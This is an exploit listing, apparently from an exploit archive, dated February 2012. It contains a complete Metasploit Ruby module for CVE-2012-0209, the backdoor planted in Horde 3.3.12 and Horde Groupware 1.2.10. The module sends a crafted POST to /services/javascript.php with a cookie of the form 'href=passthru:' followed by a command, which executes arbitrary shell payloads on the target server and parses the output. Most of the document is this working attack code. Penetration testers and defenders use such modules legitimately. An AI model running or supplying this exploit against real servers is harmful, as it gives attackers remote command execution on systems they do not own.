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Horde 3.3.12 Backdoor Arbitrary PHP Code Execution

Horde 3.3.12 Backdoor Arbitrary PHP Code Execution
Posted Feb 17, 2012
Authored by Eric Romang, jduck | Site metasploit.com

This Metasploit module exploits an arbitrary PHP code execution vulnerability introduced as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.

tags | exploit, arbitrary, php, code execution
advisories | CVE-2012-0209
MD5 | c67d692d4c351361a41b41a368ecd76d

Horde 3.3.12 Backdoor Arbitrary PHP Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution',
'Description' => %q{
This module exploits an arbitrary PHP code execution vulnerability introduced
as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.
},
'Author' => [
'Eric Romang', # first public PoC
'jduck' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-0209'],
[ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ],
[ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ]
],
'Privileged' => false,
'Payload' =>
{
'BadChars' => "\x0a\x0d",
'DisableNops' => true,
'Space' => 4096,
'Compat' =>
{
'PayloadType' => 'cmd',
}
},
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'DefaultTarget' => 0,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Feb 13 2012'
))

register_options(
[
OptString.new('URI', [true, "Path to Horde installation", "/horde"]),
OptString.new('APP', [true, "App parameter required by javascript.php (must be active)", "horde"]),
], self.class)
end

def exploit
# Make sure the URI begins with a slash
uri = datastore['URI']
if uri[0,1] != '/'
uri = '/' + uri
end

# Make sure the URI ends without a slash, because it's already part of the URI
if uri[-1, 1] == '/'
uri = uri[0, uri.length-1]
end

function = "passthru"
key = Rex::Text.rand_text_alpha(6)
arguments = "echo #{key}`"+payload.raw+"`#{key}"

res = send_request_cgi({
'uri' => uri + "/services/javascript.php",
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'data' => "app="+datastore['APP']+"&file=open_calendar.js",
'headers' =>
{
'Cookie' => "href="+function+":"+arguments,
'Connection' => 'Close',
}
}) #default timeout, we don't care about the response

if (res)
print_status("The server returned: #{res.code} #{res.message}")
end

resp = res.body.split(key)
if resp and resp[1]
print_status(resp[1])
else
print_error("No response found")
end

handler
end

end
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